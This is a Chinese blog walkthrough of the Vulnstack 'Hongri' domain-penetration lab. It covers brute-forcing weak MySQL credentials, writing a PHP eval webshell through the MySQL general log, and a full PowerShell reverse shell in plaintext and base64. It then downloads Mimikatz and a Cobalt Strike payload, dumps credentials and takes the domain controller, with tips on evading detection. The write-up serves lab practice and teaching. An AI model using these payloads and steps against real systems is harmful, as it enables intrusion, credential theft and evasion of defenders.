红日靶机(一) 笔记

已于 2024-09-11 13:03:15 修改
阅读量2.1k 收藏 17
点赞数 8
分类专栏： 靶机笔记 文章标签： 笔记 内网渗透 windows 域渗透
于 2024-09-08 15:23:41 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/weixin_63279914/article/details/142027203
版权

红日靶机(一)笔记

概述

域渗透靶机，可以练习对域渗透的一些知识，主要还是要熟悉 powershell 语法，powershell 往往比 cmd 的命令行更加强大，而很多渗透开源的脚本都是 powershell 的。例如 NiShang，PowerView 等等。这是域渗透的初学靶机。其中也遇到了一些问题

靶机地址：http://vulnstack.qiyuanxuetang.net/vuln/detail/2/

红日靶机的默认密码：hongrisec@2019

我这里

  • web：192.168.81.239
  • win7: 192.168.52.141
  • 域控: 192.168.52.138

我看的 kali 攻击机 192.168.81.37

一、nmap 扫描

1）主机发现

sudo nmap -sn 192.168.81.0/24

Nmap scan report for 192.168.81.239
Host is up (0.00047s latency).
MAC Address: 00:0C:29:EC:F8:D6 (VMware)

看到我的靶机 ip 是 192.168.81.239

2）端口扫描

sudo nmap -sT --min-rate 10000 -p- 192.168.81.239

# Nmap 7.93 scan initiated Wed Sep  4 05:56:09 2024 as: nmap -sT --min-rate 10000 -p- -o ports 192.168.81.239
Warning: 192.168.81.239 giving up on port because retransmission cap hit (10).
Nmap scan report for 192.168.81.239
Host is up (0.00079s latency).
Not shown: 61205 closed tcp ports (conn-refused), 4319 filtered tcp ports (no-response)
PORT     STATE SERVICE
80/tcp   open  http
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds
1025/tcp open  NFS-or-IIS
1026/tcp open  LSA-or-nterm
1027/tcp open  IIS
1028/tcp open  unknown
1029/tcp open  ms-lsa
1230/tcp open  periscope
3306/tcp open  mysql
MAC Address: 00:0C:29:EC:F8:D6 (VMware)

# Nmap done at Wed Sep  4 05:56:21 2024 -- 1 IP address (1 host up) scanned in 12.44 seconds

对端口进行处理

cat ports | grep open | awk -F '/' '{print $1}' | paste -sd ','

赋值给变量

ports=$(cat ports | grep open | awk -F '/' '{print $1}' | paste -sd ',')

3）详细信息扫描

这里在 $ports 处可以使用 tab 键显示变量的值

sudo nmap -sT -sV -sC -O -p$ports 192.168.81.239 -o details

# Nmap 7.93 scan initiated Wed Sep  4 06:01:26 2024 as: nmap -sT -sC -sV -O -p80,135,139,445,1025,1026,1027,1028,1029,1230,3306 -o details 192.168.81.239
Nmap scan report for 192.168.81.239
Host is up (0.00097s latency).

PORT     STATE SERVICE      VERSION
80/tcp   open  http         Apache httpd 2.4.23 ((Win32) OpenSSL/1.0.2j PHP/5.4.45)
|_http-server-header: Apache/2.4.23 (Win32) OpenSSL/1.0.2j PHP/5.4.45
|_http-title: phpStudy \xE6\x8E\xA2\xE9\x92\x88 2014 
135/tcp  open  msrpc        Microsoft Windows RPC
139/tcp  open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp  open  microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: GOD)
1025/tcp open  msrpc        Microsoft Windows RPC
1026/tcp open  msrpc        Microsoft Windows RPC
1027/tcp open  msrpc        Microsoft Windows RPC
1028/tcp open  msrpc        Microsoft Windows RPC
1029/tcp open  msrpc        Microsoft Windows RPC
1230/tcp open  msrpc        Microsoft Windows RPC
3306/tcp open  mysql        MySQL (unauthorized)
MAC Address: 00:0C:29:EC:F8:D6 (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Microsoft Windows 7|2008|8.1
OS CPE: cpe:/o:microsoft:windows_7::- cpe:/o:microsoft:windows_7::sp1 cpe:/o:microsoft:windows_server_2008::sp1 cpe:/o:microsoft:windows_server_2008:r2 cpe:/o:microsoft:windows_8 cpe:/o:microsoft:windows_8.1
OS details: Microsoft Windows 7 SP0 - SP1, Windows Server 2008 SP1, Windows Server 2008 R2, Windows 8, or Windows 8.1 Update 1
Network Distance: 1 hop
Service Info: Host: STU1; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_nbstat: NetBIOS name: STU1, NetBIOS user: <unknown>, NetBIOS MAC: 000c29ecf8d6 (VMware)
|_clock-skew: mean: -2h39m59s, deviation: 4h37m07s, median: 0s
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode: 
|   210: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2024-09-04T10:02:28
|_  start_date: 2024-09-04T09:46:14
| smb-os-discovery: 
|   OS: Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1)
|   OS CPE: cpe:/o:microsoft:windows_7::sp1:professional
|   Computer name: stu1
|   NetBIOS computer name: STU1\x00
|   Domain name: god.org
|   Forest name: god.org
|   FQDN: stu1.god.org
|_  System time: 2024-09-04T18:02:28+08:00

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Sep  4 06:02:39 2024 -- 1 IP address (1 host up) scanned in 73.24 seconds

二、Web 渗透

打开 WEB 页面

image-20240904190151295

是一个 php 探针，往下翻

看到有个检验 mysql 的按钮

image-20240904190355871

随便输入，开启 burp 抓包

抓到

在这里插入图片描述

sudo vi pass_req

把 http 的 raw 格式粘贴进去

POST /l.php HTTP/1.1
Host: 192.168.81.239
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 89
Origin: http://192.168.81.239
Connection: close
Referer: http://192.168.81.239/l.php
Upgrade-Insecure-Requests: 1

host=localhost&port=3306&login=FUZZ1&password=FUZZ2&act=MySQL%E6%A3%80%E6%B5%8B&funName=

把需要爆破的参数改为 FUZZ 的样式 : login=FUZZ1&password=FUZZ2

1）密码爆破

这里我用的 ffuf 工具，-mode 可以指定爆破模式，-w 也是制定了比较常规的用户名和密码的弱口令字典

当然喜欢用 burp 也没关系，看个人喜好吧

sudo ffuf --request pass_req -u http://192.168.81.239 -w /usr/share/SecLists/Usernames/top-usernames-shortlist.txt:FUZZ1 -w /usr/share/SecLists/Passwords/2023-200_most_used_passwords.txt:FUZZ2 -fs 14807 -mode clusterbomb

结果：


        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.0.0-dev
________________________________________________

 :: Method           : POST
 :: URL              : http://192.168.81.239
 :: Wordlist         : FUZZ1: /usr/share/SecLists/Usernames/top-usernames-shortlist.txt
 :: Wordlist         : FUZZ2: /usr/share/SecLists/Passwords/2023-200_most_used_passwords.txt
 :: Header           : Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
 :: Header           : Accept-Language: en-US,en;q=0.5
 :: Header           : Content-Type: application/x-www-form-urlencoded
 :: Header           : Origin: http://192.168.81.239
 :: Header           : Connection: close
 :: Header           : Referer: http://192.168.81.239/l.php
 :: Header           : Host: 192.168.81.239
 :: Header           : User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
 :: Header           : Accept-Encoding: gzip, deflate
 :: Header           : Upgrade-Insecure-Requests: 1
 :: Data             : host=localhost&port=3306&login=FUZZ1&password=FUZZ2&act=MySQL%E6%A3%80%E6%B5%8B&funName=
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405,500
 :: Filter           : Response size: 14807
________________________________________________

[Status: 200, Size: 14804, Words: 1464, Lines: 401, Duration: 2136ms]
    * FUZZ1: root
    * FUZZ2: root

:: Progress: [3400/3400] :: Job [1/1] :: 19 req/sec :: Duration: [0:02:59] :: Errors: 0 ::

存在弱口令 root:root

我们写进凭证里

echo 'root:root' > creds

2）目录爆破

拿到了数据库凭证，而这是一个 phpstudy 的网站，我们进行一下目录爆破，看看有没有什么后台页面之类的

sudo gobuster dir -u http://192.168.81.239 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

这里用的 gobuster 当然很多工具都可以进行目录爆破比如：feroxbuster ffuf dirb dirsearch wfuzz 等都有相应的功能，只是工具会采用不同的算法，在我们一个工具没法走下去的时候，可以尝试另一个工具，很有可能就会有我们想要的结果

===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.81.239
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/%20                  (Status: 403) [Size: 210]
/*checkout*           (Status: 403) [Size: 219]
/phpmyadmin           (Status: 301) [Size: 241] [--> http://192.168.81.239/phpmyadmin/]
/*docroot*            (Status: 403) [Size: 218]
/*                    (Status: 403) [Size: 210]
/con                  (Status: 403) [Size: 212]
/http%3A              (Status: 403) [Size: 214]
/**http%3a            (Status: 403) [Size: 216]
/*http%3A             (Status: 403) [Size: 215]
/aux                  (Status: 403) [Size: 212]
/**http%3A            (Status: 403) [Size: 216]
/%C0                  (Status: 403) [Size: 210]
/%3FRID%3D2671        (Status: 403) [Size: 218]
/devinmoore*          (Status: 403) [Size: 220]
/200109*              (Status: 403) [Size: 216]
/*sa_                 (Status: 403) [Size: 213]
/*dc_                 (Status: 403) [Size: 213]
/%D8                  (Status: 403) [Size: 210]
/%CE                  (Status: 403) [Size: 210]
/%CF                  (Status: 403) [Size: 210]
/%CD                  (Status: 403) [Size: 210]
/%CB                  (Status: 403) [Size: 210]
/%CC                  (Status: 403) [Size: 210]
/%D1                  (Status: 403) [Size: 210]
/%CA                  (Status: 403) [Size: 210]
/%D0                  (Status: 403) [Size: 210]
/%D3                  (Status: 403) [Size: 210]
/%D6                  (Status: 403) [Size: 210]
/%D7                  (Status: 403) [Size: 210]
/%D5                  (Status: 403) [Size: 210]
/%D4                  (Status: 403) [Size: 210]
/%D2                  (Status: 403) [Size: 210]
/%C9                  (Status: 403) [Size: 210]
/%C1                  (Status: 403) [Size: 210]
/%C8                  (Status: 403) [Size: 210]
/%C2                  (Status: 403) [Size: 210]
/%C5                  (Status: 403) [Size: 210]
/%C6                  (Status: 403) [Size: 210]
/%C7                  (Status: 403) [Size: 210]
/%C3                  (Status: 403) [Size: 210]
/%C4                  (Status: 403) [Size: 210]
/%D9                  (Status: 403) [Size: 210]
/%DE                  (Status: 403) [Size: 210]
/%DF                  (Status: 403) [Size: 210]
/%DD                  (Status: 403) [Size: 210]
/%DB                  (Status: 403) [Size: 210]
/phpMyAdmin           (Status: 301) [Size: 241] [--> http://192.168.81.239/phpMyAdmin/]
/login%3f             (Status: 403) [Size: 215]
/%22james%20kim%22    (Status: 403) [Size: 230]
/%22julie%20roehm%22  (Status: 403) [Size: 232]
/%22britney%20spears%22 (Status: 403) [Size: 235]
Progress: 220560 / 220561 (100.00%)
===============================================================
Finished
===============================================================

有 phpMyAdmin 页面，我们访问一下

在这里插入图片描述

输入刚爆破出来的凭证 root:root 就登陆到数据库的后台了

在这里插入图片描述

三、获得立足点

phpmyadmin 后台 getshell 的方法

  1. 直接在 web 目录用 select … into outfile 写入 webshell (需要有写权限)
  2. 利用日志写入 webshell

第一种我们执行

SHOW VARIABLES LIKE '%secure%'

看到

在这里插入图片描述

secure_file_priv 值为 NULL 禁止写入文件，如果这个值为目录名称，则可以在指定目录写入文件。
这个值是只读变量，只能通过配置文件修改。

第一种走不通了

第二种 利用日志文件

SHOW VARIABLES LIKE 'general%'

在这里插入图片描述

general_log: 表示日志功能的开关，我们可以通过 sql 语句设置它

general_log_file: 它指定了我们日志生成的绝度路径

日志开启将会记录我们所有的 sql 语句操作

 set global general_log=on;# 开启日志
 
 set global general_log_file='C:/phpStudy/WWW/lingx5.php';# 设置日志位置为网站目录

绝对路径刚开始的 php 探针已经有了，让我们把全局日志记录打开

在这里插入图片描述

执行

select '<?php @eval($_GET["code"]);?>'

访问

image-20240904200224427

反弹 shell

真正的攻防中，也是不建议直接菜刀，蚁剑等工具直接连接，因为他们的流量特征过于明显，稍不注意就会引起流量监测设备的告警。而哥斯拉虽然在流量上做了加密，但是它的木马格式，通信协议和行为特征相对固定，如果要用的话还是建议自己在基础上做二次开发，达到对一些检测设备的绕过。

a) 错误的尝试

在 kali 端，安装 nc.exe，开启 smbserver 服务，并开启监听

下面命令使用 python 在当前文件夹开启一个名为 share 的 smb 共享目录

python /usr/share/doc/python3-impacket/examples/smbserver.py share .

监听端口

nc -lvp 8888

image-20240904211825105

命令注入，访问链接

http://192.168.81.239/lingx5.php?code=system('\\\\192.168.81.37\\share\\nc.exe -e cmd.exe 192.168.81.37 8888 );

这里 smb 显示连接正常。等了半天没弹回来，有点气人，我作弊去它的 window7 里看了看，发现

image-20240904212431033

这台靶机的 win7 不兼容 nc 啊，我试了 64 位和 32 位，都不兼容。不过这也是一个思路，告诉给大家，让大家对 smb 服务有更加深刻的印象

b) 直接命令注入

google 搜索 ：php reverse windows powershell

看了篇文章：https://int0x33.medium.com/from-php-s-hell-to-powershell-heaven-da40ce840da8

用 rlwrap 获得一个交互性更强的 shell

sudo rlwrap nc -lvp 8888

powershell 建立连接的命令

powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('192.168.81.37',8888);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

进行 base64 编码

cG93ZXJzaGVsbCAtbm9wIC1jICIkY2xpZW50ID0gTmV3LU9iamVjdCBTeXN0ZW0uTmV0LlNvY2tldHMuVENQQ2xpZW50KCcxOTIuMTY4LjgxLjM3Jyw4ODg4KTskc3RyZWFtID0gJGNsaWVudC5HZXRTdHJlYW0oKTtbYnl0ZVtdXSRieXRlcyA9IDAuLjY1NTM1fCV7MH07d2hpbGUoKCRpID0gJHN0cmVhbS5SZWFkKCRieXRlcywgMCwgJGJ5dGVzLkxlbmd0aCkpIC1uZSAwKXs7JGRhdGEgPSAoTmV3LU9iamVjdCAtVHlwZU5hbWUgU3lzdGVtLlRleHQuQVNDSUlFbmNvZGluZykuR2V0U3RyaW5nKCRieXRlcywwLCAkaSk7JHNlbmRiYWNrID0gKGlleCAkZGF0YSAyPiYxIHwgT3V0LVN0cmluZyApOyRzZW5kYmFjazIgPSAkc2VuZGJhY2sgKyAnUFMgJyArIChwd2QpLlBhdGggKyAnPiAnOyRzZW5kYnl0ZSA9IChbdGV4dC5lbmNvZGluZ106OkFTQ0lJKS5HZXRCeXRlcygkc2VuZGJhY2syKTskc3RyZWFtLldyaXRlKCRzZW5kYnl0ZSwwLCRzZW5kYnl0ZS5MZW5ndGgpOyRzdHJlYW0uRmx1c2goKX07JGNsaWVudC5DbG9zZSgpIg==

因为命令里的特殊字符的问题，我尝试着直接输入或者进行 url 编码，都没有反弹不成功，所以就用 base64 编码，再用 php 函数的 base64_decode()方法解码，避免特殊字符带来的干扰

访问链接

http://192.168.81.239/lingx5.php?code=system(base64_decode("cG93ZXJzaGVsbCAtbm9wIC1jICIkY2xpZW50ID0gTmV3LU9iamVjdCBTeXN0ZW0uTmV0LlNvY2tldHMuVENQQ2xpZW50KCcxOTIuMTY4LjgxLjM3Jyw4ODg4KTskc3RyZWFtID0gJGNsaWVudC5HZXRTdHJlYW0oKTtbYnl0ZVtdXSRieXRlcyA9IDAuLjY1NTM1fCV7MH07d2hpbGUoKCRpID0gJHN0cmVhbS5SZWFkKCRieXRlcywgMCwgJGJ5dGVzLkxlbmd0aCkpIC1uZSAwKXs7JGRhdGEgPSAoTmV3LU9iamVjdCAtVHlwZU5hbWUgU3lzdGVtLlRleHQuQVNDSUlFbmNvZGluZykuR2V0U3RyaW5nKCRieXRlcywwLCAkaSk7JHNlbmRiYWNrID0gKGlleCAkZGF0YSAyPiYxIHwgT3V0LVN0cmluZyApOyRzZW5kYmFjazIgPSAkc2VuZGJhY2sgKyAnUFMgJyArIChwd2QpLlBhdGggKyAnPiAnOyRzZW5kYnl0ZSA9IChbdGV4dC5lbmNvZGluZ106OkFTQ0lJKS5HZXRCeXRlcygkc2VuZGJhY2syKTskc3RyZWFtLldyaXRlKCRzZW5kYnl0ZSwwLCRzZW5kYnl0ZS5MZW5ndGgpOyRzdHJlYW0uRmx1c2goKX07JGNsaWVudC5DbG9zZSgpIg=="));

成功弹回 shell

在这里插入图片描述

撞大运了弹回来直接就是 system 权限的用户，省的提权了

获得 shell，先改编码格式

chcp 65001

四、域信息搜集

查看网卡
ipconfig /all

在这里插入图片描述

在这里插入图片描述

发现一块 192.168.52.0 网段的网卡，应该就是域对应的内网网卡，本机的 hostname 和域的信息也可以看到

系统信息
systeminfo

在这里插入图片描述

看到 domian 字段是 god.org 代表这是域内的机器。

普通机器的默认字段是：WORKGROUP

也可以看到机器打过补丁的一些信息，还有网卡信息

路由信息
route pirnt

在这里插入图片描述

其他主机信息
net view

在这里插入图片描述

查看域管理员

在这里插入图片描述

五、域渗透

我们通过信息收集，知道了域控主机是 owa，域名为 god.org

查看域控主机 ip

ping owa.god.org

在这里插入图片描述

看到域控 ip 为 192.168.52.138

使用 mimikatz 进行密码抓取

1）上传 Invoke-mimikatz.ps1

Invoke-mimikatz.ps1 连接：https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-Mimikatz.ps1

开启 http 服务

php -S 0:80

查看机器的 powershell 版本信息

$PSVersionTable.PSVersion

因为 powershell3.0 前后的命令有些许的差别

image-20240905102653425

目标机器上的 powershell 是 2.0 版本的 而 Invoke-WebRequest cmdlet 是从 PowerShell 3.0 开始引入的

我们使用.NET 类 System.Net.WebClient 来实现下载功能

powershell -command "& {(New-Object System.Net.WebClient).DownloadFile('http://192.168.81.37/Invoke-Mimikatz.ps1','c:\program files\Invoke-Mimikatz.ps1')}"

在这里插入图片描述

在 http 服务处看到上传成功

上传到了 c:\program files 目录下

cd c:\'program files'
dir

在这里插入图片描述

看到上传成功了

当然在 mimikatz 也是需要做免杀的，不然对它的操作也是会触发杀毒软件的

2）运行 mimikatz

在 powershell 中运行 Invoke-Mimikatz.ps1 首先我们要解除执行策略

Get-ExecutionPolicy

Restricted：不允许任何脚本运行。

AllSigned：只运行由受信任的发布者签名的脚本。

RemoteSigned：本地创建的脚本可以运行，远程下载的脚本必须是签名的。

Unrestricted：允许所有脚本运行，但运行从互联网下载的脚本时会有警告。

我们设置为 RemoteSigned 即可

Set-ExecutionPolicy RemoteSigned -Scope CurrentUser

image-20240905142321237

当然也可是使用 Bypass 这个参数进行单次命令的绕过

导入

Import-moudle .\Invoke-Mimikatz.ps1

加载

.\Invoke-Mimikatz.ps1

执行

Invoke-Mimikatz -Command "privilege::debug sekurlsa::logonpasswords"

没有反应了

理论上 应该是可以正常抓取密码的，这台靶机我打着也有很多问题。

尝试解决问题(失败)

觉得会不会是用 php 执行代码返回来的 powershell 不是很稳定导致的

我们用 nishang 的 tcp 的脚本，反弹回来的会不会更加稳定呢？尝试用 nishang 反弹

sudo apt install nishang

输入命令 nishang 就可以看到目录

nishang
cd Shells

看到 Invoke-PowerShellTcp.ps1 文件

sudo vi Invoke-PowerShellTcp.ps1

在它的文件底部加上反弹 shell 的语句

Invoke-PowerShellTcp -Reverse -IPAddress 192.168.81.37 -Port 4444

在这里插入图片描述

就是等他加载到内存中去执行反弹 shell 的逻辑

kali 监听，同时开启 http 服务

nc -lvp 4444

php -S 0:80

在命令行执行

powershell -command "& {(new-object system.net.webclient).downloadfile('http://192.168.81.37/Invoke-PowerShellTcp.ps1','c:\Invoke-PowerShellTcp.ps1')}" ; c:\Invoke-PowerShellTcp.ps1

在这里插入图片描述

下载成功，收到反弹 shell，但是和之前的 shell 是一样的，还是不能运行 mimikatz.ps1

3）更换思路（使用 cobalstrike）

启动 cs

./teamserver localhost 123456

./cobalstrike

生成木马，并上传

powershell -ExecutionPolicy Bypass -command "& {(New-Object System.Net.WebClient).DownloadFile('http://192.168.81.37/artifact.exe', 'C:\Users\Public\artifact.exe')}"

image-20240908140727778

启动 artifact.exe

cmd.exe /c ".\artifact.exe"

image-20240908141454607

成功上线

image-20240908141543698

端口扫描

image-20240908141817252

image-20240908141906193

看到

image-20240908142258719

image-20240908142321629

运行 mimikatz

image-20240908142720247

在这里插入图片描述

看到域控 owa 的密码 hongrisec@2022

六、获得域控

已经有了域控管理员的密码拿到域控就简单了

在 cs 上创建 SMB 监听

image-20240908143836586

直接 jump

image-20240908143908306

看到域控上线了

image-20240908144157561

域控拿到了，这个域我就随便走了

跳到 141 主机

image-20240908144330710

image-20240908144527049

成功拿下三台

image-20240908145009742

总结

  1. 通过 nmap 扫描看到目标 web 服务器开放了 80，135，3306 等端口，通过对 80 端口的目录爆破，弱口令的 fuzz，发现了 phpmyadmin 的后台，并成功登陆。
  2. 利用数据库的日志输出，写入了一句话木马，成功反弹了 powershell 的命令行，因为 powershell2.0 命令行的缺陷，在域渗透信息收集的时候遇到了 mimikatz 不能使用的情况，尝试解决但失败了。
  3. 最后使用了 cobalstrike 的集成化工具完成了对域控的横向移动，成功获得域控管理员权限。
渗透测试之——红日靶机（一）
weixin_43072923的博客
04-25 919
红日靶机练习
红日安全靶机实战（一）
qq_41891666的博客
08-07 6450
0x01 入侵web服务器 0x 1.1 信息收集 首先使用 nmap 来扫描ip 段存活的主机 nmap -sn 192.168.127.0/24 这里网上有的用 netdiscover 来扫描，其实和 nmap -sn 扫描原理是一样的，都是通过arp 来实现扫描。 然后接着nmap 激进模式扫端口： nmap -A -T4 192.168.127.154 发现80端口，浏览器访问，发现是phpStudy 搭建的环境，而且网站根路径是C:/php/WWW： 0x 1.2 写webshell
红日靶场（二）——个人笔记
最新发布
2301_79355407的博客
03-19 1106
红日靶场（二）——个人笔记
Vulnstack红日安全内网域渗透靶场1实战
热门推荐
道阻且长，行则将至
07-14 1万+
文章目录前言靶场搭建外网打点MySQL写日志GetshellCMS后台上传GetShell内网渗透靶机CS后门上线内网域信息的收集 前言 VulnStack 是由红日安全团队倾力打造一个靶场知识平台。为了进一步学习内网渗透，本文将学习并记录红日安全团队提供的一个内网域环境靶场的渗透过程。 靶场搭建 在线 靶场链接 如下： 1、下载后为 3 个虚拟机，网络拓扑如下： 2、从网络拓扑图得知，需要模拟内网和外网两个网段， Win7 虚拟机相当于网关服务器，所以需要两张网卡，故需要配置两个网络适配器（网卡），点击
红日靶机vulnstack01【精华总结】
qq_45300786的博客
07-22 2969
总结：一 如果3389开放，但是用防火墙：那么有3中方法突破 1、msf反弹shell，然后使用run post/windows/manage/enable_rdp，意思是防火墙允许远程桌面 2、msf反弹shell，命令行直接添加防火墙3389开放规则 netsh advfirewall firewall add rule name=“Open 3389” dir=in action=allow protocol=TCP localport=3389 3、使用隧道：目标机有防火墙的话，我们是被目标机防火墙
2024年内网域渗透总结——红日靶场①_红日靶机账号密码
2401_84264096的博客
05-01 518
当我学到一定基础，有自己的理解能力的时候，会去阅读一些前辈整理的书籍或者手写的笔记资料，这些笔记详细记载了他们对一些技术点的理解，这些理解是比较独到，可以学到不一样的思路。网安所有方向的技术点做的整理，形成各个领域的知识点汇总，它的用处就在于，你可以按照上面的知识点去找对应的学习资源，保证自己学得较为全面。观看零基础学习视频，看视频学习是最快捷也是最有效果的方式，跟着视频中老师的思路，从基础到深入，还是很容易入门的。最后就是大家最关心的网络安全面试题板块。
渗透测试-红日靶场一
konglong12311的博客
05-22 1996
小编的文章仅学习使用，同时记录小编的学习笔记；如有错漏恳请大神指点，如遇问题可在评论区交流；切勿用于非法行为。
2024年运维最新内网域渗透总结——红日靶场①_红日靶机账号密码(2)，2024年最新最新大厂Linux运维校招面试经验汇总
05-04 744
最近很多小伙伴找我要Linux学习资料，于是我翻箱倒柜，整理了一些优质资源，涵盖视频、电子书、PPT等共享给大家！
渗透测试-红日靶场三
konglong12311的博客
05-24 1217
小编的文章仅学习使用，同时记录小编的学习笔记；如有错漏恳请大神指点，如遇问题可在评论区交流；切勿用于非法行为。
渗透测试-红日靶场四
konglong12311的博客
05-29 1421
小编的文章仅学习使用，同时记录小编的学习笔记；如有错漏恳请大神指点，如遇问题可在评论区交流；切勿用于非法行为。
Vulnstack红日靶机渗透一
m0_74631795的博客
09-05 1909
一共4台虚拟机，1台为自己准备的kali攻击机，剩下3台为下载的靶机（win7为web服务器，winserver08为域控，win2K3为域内主机）kali和win7采用NAT模式（模拟外网），winserver08、win2K3和win7采用仅主机模式（选择VMnet2，其中win7为双网卡）扫描结果（143为win7web服务器，138为winserver08域控，141为win2K3域内主机，都开放了445端口）在win7web服务器中开启phpStudy环境，位置在C盘（若开启失败，重启虚拟机）
红日靶机1练习
weixin_45597678的博客
12-01 323
红日靶机1练习 文章目录红日靶机1练习考查知识点渗透过程总结 考查知识点 主机、端口、目录扫描 利用phpmyadmin获得shell 利用mimikatz获取主机的密码hash 进行横向移动hash传递 获取内网主机shell 利用ms17-010获取主机sehll 渗透过程 首先进行主机扫描、端口扫描、目录扫描 进行主机扫描， nmap -sP -PE -PA 192.168.127.0/24 得到在线主机179 进行端口扫描， nmap -P0 -sS -p- -sV -O 192.
红日靶场（七）vulnstack7
sagic的博客
04-07 2681
自学网络安全，学习靶场渗透
红日靶机（三）笔记
LINGX5的博客
10-04 2224
相较于前边两个靶场环境，靶场三的难度还是稍难一点，有很多兔子洞，这就考验我们对已有信息的取舍和试错，以及对渗透测试优先级的判断。涉及到对数据库操作的试错，对 joomla 框架 cve 的快速学习，php 中 用到disabled_function 的 bypass ，对linux内核提权的取舍，对msf框架模块的熟悉与学习。包括了路由搭建、socks代理使用、smb服务爆破、psexec横向、kiwi（mimikatz）使用等。还使用的crackmapexec这款强大的工具。
内网域渗透总结（红日靶场一）
未完成的歌~的博客
04-11 8975
使用 smb beacon，由一台已经拿到 beacon 的机器，抓取密码后进行smb喷射，得到另一台开放445端口的机器上的administrator账户密码，在目标机器不出网的情况下，可以使用smb beacon使目标主机上线。发现也存在漏洞，同样先使用 use exploit/windows/smb/ms17_010_eternalblue 模块利用，但还是利用不了，猜测可能是防火墙的问题，因为这个系统是64位的。防火墙已经关掉了，再来试试 ms17_010_eternalblue，然而还是不行。
红日靶场-1详细解析（适合小白版）
jnszstmei的博客
11-17 5128
红日靶场涉及内网知识，和前期靶场不太一样，前期靶场大部分都是单个靶机获得root权限，而这一次更综合，后期也会继续学习内网知识，继续打红日靶场，提高自己的综合技能。
ATT&CK 红日1靶机渗透攻略
weixin_47311099的博客
01-27 2060
环境 此实战靶场共 3 台主机，Win7 作为 Web 服务器，是打入此实战靶场的第一个目标和 入手点，Win2K3 为内网域成员主机，WinSever 2008 R2 为内网域控主机。 下载地址 http://vulnstack.qiyuanxuetang.net/vuln/detail/2/ 环境调试 网卡桥接 主机 网卡 IP win7（web服务器） 1.VM2 2.NAT 192.168.52.143 and 192.168.8.142 win2003（内网域成员）
vulnstack-7（红日靶场七）
m0_74402888的博客
08-12 1613
vlunstack是红日安全团队出品的一个实战环境，具体介绍请访问：漏洞详情添加两个网卡DMZ区域：给Ubuntu (Web 1) 配置了两个网卡，一个可以对外提供服务；一个连接第二层网络。第二层网络区域：给Ubuntu (Web 2) 和Windows 7 (PC 1)都配置了两个网卡，一个连接第二层网络，一个连接第三层网络。第三次网络区域：给Windows Server 2012和Windows 7 (PC 2)都只配置了一个网卡，连接第三层网络。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

零星_AagT

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值